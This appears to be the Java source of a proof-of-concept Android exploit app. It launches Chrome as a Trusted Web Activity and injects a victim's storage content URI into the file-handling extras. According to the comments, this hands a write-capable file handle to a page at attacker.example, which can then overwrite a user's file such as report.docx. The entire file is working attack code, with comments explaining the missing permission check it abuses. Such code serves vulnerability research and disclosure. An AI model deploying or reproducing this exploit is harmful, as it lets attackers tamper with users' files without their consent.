package com.attacker.twapoc;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

import androidx.browser.customtabs.CustomTabsCallback;
import androidx.browser.customtabs.CustomTabsClient;
import androidx.browser.customtabs.CustomTabsIntent;
import androidx.browser.customtabs.CustomTabsServiceConnection;
import androidx.browser.customtabs.CustomTabsSession;

import java.util.ArrayList;

/**
 * Zero-permission app that launches Chrome as a TWA and smuggles a third-party
 * SAF content URI (one that Chrome's UID already holds a persisted WRITE grant
 * on, from a *different* origin's prior showSaveFilePicker() call) into the
 * EXTRA_FILE_HANDLING_DATA bundle.
 *
 * Chrome's TwaLaunchQueueDelegate::IsSensitivePath() passes any non-Chrome
 * content:// URI, then LaunchQueue mints a write-granted FileSystemFileHandle
 * (UserAction::kSave => auto-grant) and ships it to https://attacker.example
 * via launchQueue. The attacker page calls handle.createWritable() and Chrome
 * opens the URI under its own UID -- which holds the persisted grant.
 *
 * No caller-permission check (checkCallingUriPermission /
 * checkContentUriPermissionFull) exists on the TWA file-handling path.
 */
public class MainActivity extends Activity {

    // Chrome package to target. Adjust for Canary/Dev/Beta as needed.
    private static final String CHROME_PKG = "com.android.chrome";

    // Origin under attacker control. Must serve /.well-known/assetlinks.json
    // linking this app's signing cert (see attacker-site/).
    private static final Uri ATTACKER_URL =
            Uri.parse("https://attacker.example/handler.html");

    // A content URI that Chrome's UID holds a persisted WRITE grant on because
    // the user previously picked it via showSaveFilePicker() on ANY origin.
    // External-storage SAF URIs have predictable shape:
    //   content://com.android.externalstorage.documents/document/primary%3A<path>
    private static final Uri VICTIM_URI = Uri.parse(
            "content://com.android.externalstorage.documents/document/"
            + "primary%3ADocuments%2Freport.docx");

    // androidx.browser constants (inlined so this app needs no extra deps
    // beyond androidx.browser:browser, and to show the raw wire values).
    private static final String EXTRA_LAUNCH_AS_TWA =
            "android.support.customtabs.extra.LAUNCH_AS_TRUSTED_WEB_ACTIVITY";
    private static final String EXTRA_FILE_HANDLING_DATA =
            "androidx.browser.trusted.extra.FILE_HANDLING_DATA";
    private static final String FILE_HANDLING_KEY_URIS =
            "androidx.browser.trusted.KEY_URIS";

    private CustomTabsServiceConnection mConn;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        mConn = new CustomTabsServiceConnection() {
            @Override
            public void onCustomTabsServiceConnected(
                    ComponentName name, CustomTabsClient client) {
                client.warmup(0);
                CustomTabsSession session =
                        client.newSession(new CustomTabsCallback());
                // Preload DAL relationship validation (optional but speeds it up).
                session.validateRelationship(
                        /* RELATION_HANDLE_ALL_URLS */ 2, ATTACKER_URL, null);
                fire(session);
            }

            @Override
            public void onServiceDisconnected(ComponentName name) {}
        };
        CustomTabsClient.bindCustomTabsService(this, CHROME_PKG, mConn);
    }

    private void fire(CustomTabsSession session) {
        // Build the FileHandlingData bundle exactly as
        // androidx.browser.trusted.FileHandlingData.toBundle() would.
        ArrayList<Uri> uris = new ArrayList<>();
        uris.add(VICTIM_URI);
        Bundle fileHandling = new Bundle();
        fileHandling.putParcelableArrayList(FILE_HANDLING_KEY_URIS, uris);

        // Build the CCT intent bound to our session, then mark it as a TWA and
        // attach the file-handling extra. CustomTabIntentDataProvider reads
        // EXTRA_FILE_HANDLING_DATA verbatim with no caller-permission check.
        CustomTabsIntent cct = new CustomTabsIntent.Builder(session).build();
        Intent intent = cct.intent;
        intent.setPackage(CHROME_PKG);
        intent.setData(ATTACKER_URL);
        intent.putExtra(EXTRA_LAUNCH_AS_TWA, true);
        intent.putExtra(EXTRA_FILE_HANDLING_DATA, fileHandling);

        startActivity(intent);
        finish();
    }

    @Override
    protected void onDestroy() {
        if (mConn != null) unbindService(mConn);
        super.onDestroy();
    }
}
